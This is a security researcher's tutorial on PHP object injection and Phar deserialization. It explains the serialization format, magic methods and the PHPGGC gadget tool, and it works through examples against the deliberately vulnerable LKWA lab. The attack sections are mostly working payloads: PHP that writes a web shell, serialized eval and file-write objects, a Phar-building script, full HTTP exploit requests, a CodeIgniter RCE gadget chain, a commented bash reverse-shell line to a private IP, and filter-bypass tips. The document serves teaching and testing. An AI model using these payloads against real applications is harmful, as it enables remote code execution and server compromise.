Notes I’ve written and Collected about PHP Deserialization
Introduction
serialize and unserialize
Serialization functions are commonly used within software to store data to a file, a memory buffer, or transmitted across to another network which can then be deserialized at a later date. Within PHP, The serialize() function can be used to convert a value to an serialized object. This function can be used to convert a value/object to a serialized value. An example of this can be seen below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Test
{
public $name = "Snoopy";
public $age = 0.1;
public $secret = 0;
public $hobbies = array("bughunting", "softwaresecurity");
public $bug_hunter = True;
}
$object = new Test();
$serialized = serialize($object);
echo $serialized;
?>
The serialized form of the above object can be seen as
1
O:4:"Test":5:{s:4:"name";s:6:"Snoopy";s:3:"age";d:0.1;s:6:"secret";i:0;s:7:"hobbies";a:2:{i:0;s:10:"bughunting";i:1;s:16:"softwaresecurity";}s:10:"bug_hunter";b:1;}
This structure can be understood as:
O:Length of Object name :”Class Name”:Number of Properties in Class:{Properties}
-O:4:"Test":5
- { data } - Denotes the data structure of the object with the 5 properties -
$name, $age, $secret, $hobbies, $bug_hunter
s:Length of the String:”String Value”;
-s:4:"name";s:6:"Snoopy";
d:Float;
- s:3:”age”;d:0.1;`i:Integer;
-s:6:"secret";i:0;
a:Number of Elements:{Elements}
-a:2:{i:0;s:10:"bughunting";i:1;s:16:"softwaresecurity";}
b:boolean;
-s:10:"bug_hunter";b:1;
This can be converted back to an object from using the unserialize() function. unserialize has two parameters:
1
unserialize ( string $data , array $options = [] ) : mixed
- The
$data
parameter takes a serialized string that can be deserialized - The
$options
array can be used to specify allowed_classes. allowed_classes can be used to whitelist class names that should be accepted. If this is used andunserialize()
encounters an object of a class that isn’t to be accepted, then the object will be instantiated as a __PHP_Incomplete_Class instead.
1
2
3
4
5
6
<?php
$object = 'O:4:"Test":5:{s:4:"name";s:6:"Snoopy";s:3:"age";d:0.1;s:6:"secret";i:0;s:7:"hobbies";a:2:{i:0;s:10:"bughunting";i:1;s:16:"softwaresecurity";}s:10:"bug_hunter";b:1;}';
$unserialized = unserialize(var_dump($object));
echo $unserialized;
?>
During deserialization, unserialize
will take the user input, this input will have some objects along with the class and the properties of that object, and will create an instance of the provided class and object in memory (Object Instantiation) and creates a copy of the originally serialized object. As per PHP documentation, after successfully reconstructing the object, PHP will automatically attempt to call the the __wakeup() magic method as well (if one exists) and execute code in that function if it is defined for the class. This function can reconstruct any resources that the object may have. The intended use of __wakeup()
is to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. Once this is done, then the __destruct()
magic method of that class will be called to when no reference to the deserialized object instance exists.
serialize()
will save all properties in the object and the class the object belongs to during serialization but no methods of the class of the object will be stored. As such, when unserialize is triggered, the class of the object will have to be defined in advance in code (definition of the class needs to be present in the file unserialize() is called in), or through autoloading. If the class is not already defined in the file, the object will be instantiated as __PHP_Incomplete_Class
, which has no methods.
Object Injection
PHP Object Injection/Unserialization happens when untrusted user input is being executed by the unserialize
function which can result in code being loaded and executed due to object instantiation and autoloading, and a malicious user may be able to exploit this.
This was initially made public by Stefan Esser
- https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-Programming-In-PHP-Application-Exploits.pdf
- https://owasp.org/www-pdf-archive/POC2009-ShockingNewsInPHPExploitation.pdf
- https://wiki.php.net/rfc/secure_unserialize
Requirements for a Successful Exploit
- PHP Magic Methods - The codebase/application being exploited needs to have interesting magic methods that can then be triggered through a POP chain.
- The POP gadget chain/object being called must be declared during when unserialize is being called ( include() or require()) or object autoloading (through composer (require DIR .
'/vendor/autoload.php';
) or generic autoloading) must be supported for the target classes when unserialize() is being executed
PHP Magic Methods
PHP Magic Methods are PHP classes that have magical properties in PHP. You cannot have functions with these names in any of your classes unless you want the magic functionality associated with them. More about this can be read from here: PHP Magic Methods Documentation. During exploitation, these magic methods can be invoked by crafting a PHP POP gadget. This is because these methods are executed automatically when unserialize() is called on an object.
Magic Methods most useful for exploitation
__toString()
- Invoked when object is converted to a string. (by echo for example)__destruct()
- Invoked when an object is deleted. When no reference to the deserialized object instance exists, __destruct() is called.__wakeup()
- Invoked when an object is unserialized. automatically called upon object deserialization.__call()
- will be called if the object will ca1ll an inexistent function
Magic Methods that could be useful for exploitation (Not useful in Most Cases)
__set()
- called if the object try to access inexistent class variables__isset()
__invoke()
__unset()
__set_state()
__callStatic()
__sleep()
- called when an object is serialized (with serialize)__clone()
__get()
- called if the object try to access inexistent class variables- ` __debugInfo()`
__construct()
- Invoked when an object is created (constructor)
PHPGCC
PHPGGC is a library of unserialize() payloads along with a command-line program. This can be used to generate POP gadgets from known libraries people have already found. PHPGGC supports gadget chains such as CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, WordPress, Yii, and ZendFramework.
- List all gadgets
1
2
3
4
5
6
7
8
9
10
11
./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 rce __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ rce __destruct
Doctrine/FW1 ? file_write __toString *
Drupal7/FD1 7.0 < ? file_delete __destruct *
Drupal7/RCE1 7.0.8 < ? rce __destruct *
- Create a POP gadget using the
__destruct
vector known in versions4.0.0-rc.4 <= 4.0.4+
. Run the system command id using PHP’s system function.
1
2
3
4
5
6
./phpggc CodeIgniter4/RCE2 system id
O:39:"CodeIgniter\Cache\Handlers\RedisHandler":1:{s:8:"*redis";O:45:"CodeIgniter\Session\Handlers\MemcachedHandler":2:{s:12:"*memcached";O:17:"CodeIgniter\Model":8:{s:10:"*builder";O:32:"CodeIgniter\Database\BaseBuilder":2:{s:6:"QBFrom";a:1:{i:0;s:2:"()";}s:2:"db";O:38:"CodeIgniter\Database\MySQLi\Connection":0:{}}s:13:"*primaryKey";N;s:15:"*beforeDelete";a:1:{i:0;s:8:"validate";}s:18:"*validationRules";a:1:{s:4:"id.x";a:1:{s:5:"rules";a:2:{i:0;s:6:"system";i:1;s:2:"dd";}}}s:13:"*validation";O:33:"CodeIgniter\Validation\Validation":1:{s:15:"*ruleSetFiles";a:1:{i:0;s:5:"finfo";}}s:21:"*tempAllowCallbacks";i:1;s:2:"db";O:38:"CodeIgniter\Database\MySQLi\Connection":0:{}s:20:"cleanValidationRules";b:0;}s:10:"*lockKey";a:1:{s:1:"x";s:2:"id";}}}
Hunting For POP Gadgets
Examples of interesting functionalities to look for within Magic Methods:
- Arbritary File Write -
@unlink($fileobject)
,file_put_contents($this->file)
- Code Execution -
eval($this->injectobject)
; - Type Juggling - if
($username == $adminName && $password == $adminPassword) { ( loose comparison operator “==”,
∂ user input taken as arrays and type conversion occurs ) - Authentication Bypass through Object reference - if (isset
($this->obj))
return$this->obj->getValue();, ($obj->check === $obj->secrethash) {echo "Pass"
; - SQL Injection - $sql =
"SELECT * FROM table WHERE id = " . $id;
Other Dangerous functions that might be useful to look for:
- Dangerous PHP Functions - https://gist.github.com/snoopysecurity/7afd189724bc02a14a7f89d9a8284b69
- DangerousPHPFunctions - https://github.com/v-p-b/DangerousPHPFunctions
When checking projects, git clone and execute composer install to install all dependencies, this can then be reviewed for useful POP gadget.
Example (https://github.com/weev3/LKWA) Object Injection
The following request is submitted by the application http://lkwa.local:3000/objectInjection/content.php
1
2
3
4
5
6
7
8
9
GET /objectInjection/content.php?object=O:8:%22stdClass%22:2:{s:4:%22data%22;s:9:%22Hey%20Dude!%22;s:4:%22text%22;s:26:%22upload%20shell%20if%20you%20can!!!%22;} HTTP/1.1
Host: lkwa.local:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://lkwa.local:3000/objectInjection/content.php
Upgrade-Insecure-Requests: 1
The following code is used server-side to unserialize the object.
https://github.com/weev3/LKWA/blob/master/objectInjection/content.php#L40
1
2
3
4
5
6
7
8
if(isset($_REQUEST['object'])){
$var1=unserialize($_REQUEST['object']);
echo "<br>";
echo($var1->data);
echo "<br>";
echo($var1->text);
}
Within content.php, the following file is also included:
1
include("obj_injection.php");
obj_injection.php contains the following code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// https://github.com/weev3/LKWA/blob/master/objectInjection/content.php#L3
<?php
class Foo{
function __construct($filename, $data) {
$this->filename = $filename . ".txt";
$this->data = $data;
}
function __destruct(){
file_put_contents($this->filename, $this->data);
}
}
?>
This can be exploited using a payload such as:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Foo{
public $filename;
public $data;
}
$obj = new Foo();
$obj->filename = '/var/www/html/shell.php';
$obj->data = "<?php echo shell_exec(\$_GET['e'].' 2>&1'); ?>";
echo serialize($obj);
?>
Serialized Payload:
1
O:3:"Foo":2:{s:8:"filename";s:23:"/var/www/html/shell.php";s:4:"data";s:45:"<?php echo shell_exec($_GET['e'].' 2>&1'); ?>";}
Example (https://github.com/weev3/LKWA) Object Injection Cookie
When the admin logs in the following cookie are set by the application:
1
O:8:"stdClass":1:{s:4:"user";s:5:"admin";}
This is then unserialized:
1
2
3
4
5
6
7
8
//https://github.com/weev3/LKWA/blob/master/objectInjection_cookie/content.php#L43
if(isset($_COOKIE['username']))
{
$var = unserialize($_COOKIE['username']);
echo "<br> Welcome ".$var->user;
}
Content.php also includes obj_injection.php (include("obj_injection.php");)
which has the following code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//http://lkwa.local:3000/objectInjection_cookie/content.php
<?php
/**
* Object Injection via Cookie
*/
class Foo{
public $cmd;
function __construct() {
}
function __destruct(){
eval($this->cmd);
}
}
?>
This can be exploited using the following payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Foo{
public $cmd;
}
///bin/bash -i >& /dev/tcp/192.168.0.11/1234 0>&1
$obj = new Foo();
$obj->cmd = "system('uname -a');";
echo serialize($obj);
?>
which generates the following serialized payload
1
O:3:"Foo":1:{s:3:"cmd";s:19:"system('uname -a');";}
This can now be set as a cookie and can be sent to the page to execute uname -a on the local system.
Example (https://github.com/weev3/LKWA) Object Injection Reference
A serialized payload sent from a user request is deserialized as follows:
1
2
3
4
5
6
7
8
9
10
11
12
13
//https://github.com/weev3/LKWA/blob/master/objectref/objectref.php
if (isset($_POST['guess'])) {
// code...
$obj = unserialize($_POST['input']);
if($obj) {
$obj->guess = $_POST['guess'];
$obj->secretCode = rand(500000,999999);
if($obj->guess === $obj->secretCode) {
echo "<p class='text-success'>You Win !!!!!</p>";
}
else{
echo "<p class='text-danger'>Loser!!!!</p>";
}
This check can be bypassed by calling both objects and referencing each other.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Object1
{
public $guess;
public $secretCode;
}
$obj = new Object1();
$obj->guess = &$obj->secretCode;
echo serialize($obj);
?>
Payload:
1
O:7:"Object1":2:{s:5:"guess";N;s:10:"secretCode";R:2;}
The following request can now be sent
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /objectref/objectref.php HTTP/1.1
Host: lkwa.local:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Origin: http://lkwa.local:3000
Connection: close
Referer: http://lkwa.local:3000/objectref/objectref.php
Cookie: PHPSESSID=741de8227f5dedc8918a2018980d0819; username=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3B%7D
Upgrade-Insecure-Requests: 1
guess=ss&input=%4f%3a%37%3a%22%4f%62%6a%65%63%74%31%22%3a%32%3a%7b%73%3a%35%3a%22%67%75%65%73%73%22%3b%4e%3b%73%3a%31%30%3a%22%73%65%63%72%65%74%43%6f%64%65%22%3b%52%3a%32%3b%7d
Real World Vulnerabilities
- Drupal 7.34 Admin PHP Object Injection
- Executing Arbitrary Code on Bitdefender Helpdesk
- Prestashop Remote Code Execution
Useful Notes
- Leading zeroes & Arbitrary Chars can be used which won’t change logic: O:008:”stdClass”:0001**s:006:”bypass”;b:1;}
- One way to find PHP deserialization black box is to provide a serialized PDO object to injection points. This will usually end in an error 500 response which is an indication of PHP deserialization. The php-object-injection-check burp extension can be used to automate this: https://github.com/securifybv/PHPUnserializeCheck
- https://github.com/ricardojba/poi-slinger burp extension can be used to quickly create out of band payloads from PHPGGC during testing.
How to Patch
Use a safe, standard data interchange format such as JSON (via json_decode() and json_encode()) if you need to pass serialized data to the user.
References/Further Reading
- https://notsosecure.com/remote-code-execution-via-php-unserialize/
- https://owasp.org/www-community/vulnerabilities/PHP_Object_Injection
- https://www.pentestpeople.com/php-deserialisation-object-injection/
- https://securitycafe.ro/2015/01/05/understanding-php-object-injection/
- https://insomniasec.com/cdn-assets/Practical_PHP_Object_Injection.pdf
- https://www.synacktiv.com/en/publications/typo3-leak-to-remote-code-execution.html
- https://web.archive.org/web/20150317142538/https://scott.arciszewski.me/research/view/php-framework-timing-attacks-object-injection
- https://blog.redteam-pentesting.de/2021/deserialization-gadget-chain/
- https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/README.md#babyh-master-php-2017
- https://github.com/TYPO3/phar-stream-wrapper
- https://srcincite.io/blog/2018/10/02/old-school-pwning-with-new-school-tricks-vanilla-forums-remote-code-execution.html
- https://www.slideshare.net/_s_n_t/php-unserialization-vulnerabilities-what-are-we-missing
Phar File Format
Phar (PHP Archive) files can be used to package PHP applications and PHP libraries into one archive file. The PHAR format in PHP uses single file format which can be used to store and execute multiple PHP code. Phar files contain metadata about the files in the archive. In a phar file, metadata is stored in a serialized format
A structure of a PHAR file is as follow
- A stub – which is a PHP code sequence acting as a bootstrapper when the Phar is being run as a standalone application; as a minimum, it must contain the following code:
<?php __HALT_COMPILER();
- A manifest describing a source file included in the archive; optionally, holds serialized meta-data (this serialized chunk is a critical link in the exploitation chain as we will see further on)
- A source file (the actual Phar functionality)
- An optional signature, used for integrity checks
Phar files can be called using the following URI: zphar://full/or/relative/pathz. Furthermore, a phar file extension doesn’t get checked when declaring a stream, making phar files veritable polyglot candidates. If a filesystem function is called with a phar stream as an argument, the Phar’s serialized metadata automatically gets unserialized, by design. More about the PHP Phar format can be seen here: https://www.php.net/manual/en/book.phar.php
Phar Deserialization
Discovered by Sam Thomas and initially discovered by Orange Tsai (Separately), if a file operation is performed on a phar file via the phar:// wrapper, the phar file’s metadata would be unserialized. As such an attacker could perform PHP object injection without the use of the unserialize() function by uploading a phar file.
Sam Thomas’s work can be seen below:
- BlackHat USA 2018 - Its A PHP Unserialization Vulnerability Jim But Not As We Know It Slides
- BlackHat USA 2018 - Its A PHP Unserialization Vulnerability Jim But Not As We Know It Video
Requirements for a Successful Phar Deserialization
- A PHP filesystem function that can be controlled which will trigger unserialize()
- The ability to upload a PHAR file to the target system and the path of this file to be known
The following file system functions can triggerunserialize()
by providing a phar://
wrapper
1
2
3
4
5
6
7
8
copy file_exists file_get_contents file_put_contents
file fileatime filectime filegroup
fileinode filemtime fileowner fileperms
filesize filetype fopen is_dir
is_executable is_file is_link is_readable
is_writable lstat mkdir parse_ini_file
readfile rename rmdir stat
touch unlink
Note: Just like normal object injection, PHP Magic Methods and autoloading/include of the POP gadget to trigger is still needed.
Example (https://github.com/weev3/LKWA) Phar Deserialization
An upload functionality exists in upload.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
include("sidebar.php");
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
$uploadOk = 1;
$imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
// Check if image file is a actual image or fake image
if(isset($_POST["submit"])) {
if($imageFileType !== "PHAR") {
$uploadOk = 1;
} else {
echo "File is not a PHAR file.";
$uploadOk = 0;
}
}
// Check if file already exists
if (file_exists($target_file)) {
echo "Sorry, file already exists.";
$uploadOk = 0;
}
// Allow certain file formats
if($imageFileType != "phar") {
echo "Sorry, only PHAR file is allowed.";
$uploadOk = 0;
}
// Check if $uploadOk is set to 0 by an error
if ($uploadOk == 0) {
echo "Sorry, your file was not uploaded.";
// if everything is ok, try to upload file
} else {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file ". basename( $_FILES["fileToUpload"]["name"]). " has been uploaded.";
} else {
echo "Sorry, there was an error uploading your file.";
}
}
?>
https://github.com/weev3/LKWA/blob/master/phar_deserial/upload.php
This above code checks if a given upload is a phar file, the file_exists function is also used to see if the file has already been uploaded. Aftr the checks, the file is uploaded. This functionality can be used to upload a PHAR file.
Within phar_deserial.php, the following code can be seen:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("sidebar.php");
class log
{
public $filename="log.txt";
public $data="log";
function __wakeup(){
file_put_contents($this->filename, $this->data);
}
}
if (file_exists($_GET['file'])) {
$var = new log();
}
https://github.com/weev3/LKWA/blob/master/phar_deserial/phar_deserial.php
Since the file_exists($_GET[‘file’] function is used with a user provided input. It is possible to set the value of the input to the previously uploaded Phar file. Example: phar://../uploads/phar_file.phar. The PHP application will perform a filesystem call on the provided wrapper, such as verifying if the file exists on the disk by calling file_exists(“phar://../uploads/phar_file.phar”). and the Phar’s metadata will be unserialized, taking advantage of the gadgets/POP chains to complete the exploitation chain. In this instance, the __wakeup magic method can be leveraged for code execution by writing some PHP code and calling it.
The following code can be used to create a PHAR file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class log
{
function __wakeup(){
}
}
$payload = new log();
$payload->filename = 'shell.php5';
$payload->data = "<?php echo shell_exec(\$_GET['e'].' 2>&1'); ?>";
var_dump($payload);
// create new Phar
@unlink("payload.phar");
$phar = new Phar('payload.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ? >');
//set payload
$phar->setMetadata($payload);
$phar->stopBuffering();
?>
This phar file can be uploaded using upload.php.
This payload.phar can be called through the phar_deserial.php file.
1
2
3
4
5
6
7
8
9
GET /phar_deserial/phar_deserial.php?file=phar%3a%2f%2fpharfile.phar HTTP/1.1
Host: lkwa.local:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: username=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22user%22%3Bs%3A5%3A%22admin%22%3B%7D
Upgrade-Insecure-Requests: 1
To test if things are working locally, you can testing using a code such as
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class log
{
public $filename="log.txt";
public $data="log";
function __wakeup(){
file_put_contents($this->filename, $this->data);
}
}
// output: rips
include('phar://payload.phar');
?>
Phar Deserialization Real World Vulnerabilities
- DomPDF Phar Serialization
- LimeSurvey < 3.16 - Remote Code Execution
- mpdf Insecure PHP deserialization through phar:// wrapper
- TCPDF Phar Deserialization
- phpbb3 Phar Deserialization
- PEAR Archive_Tar1
Useful Notes
- Inclusion of the Phar file for deserialization can be local or remote
- If a file upload functionality only allows jpg, you can use a phar-jpg polyglot: https://github.com/kunte0/phar-jpg-polyglot
- If you are trying to leverage a __destruct magic method as part of your POP chain and the if destructor is never called, you can use “fast destruct method” in PHPGGC to make sure it’s called right after the unserialize. The -f option with PHPGGC will place your popchain in an array and overwrite its entry with another value, losing the only reference to your instance.
References
- https://blog.ripstech.com/2018/new-php-exploitation-technique/
- https://www.drupal.org/sa-core-2020-013
- https://i.blackhat.com/us-18/Thu-August-9/us-18-Thomas-Its-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
- https://medium.com/@knownsec404team/extend-the-attack-surface-of-php-deserialization-vulnerability-via-phar-d6455c6a1066
- https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It’s-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It-wp.pdf
- https://blog.certimetergroup.com/it/articolo/security/polyglot_phar_deserialization_to_rce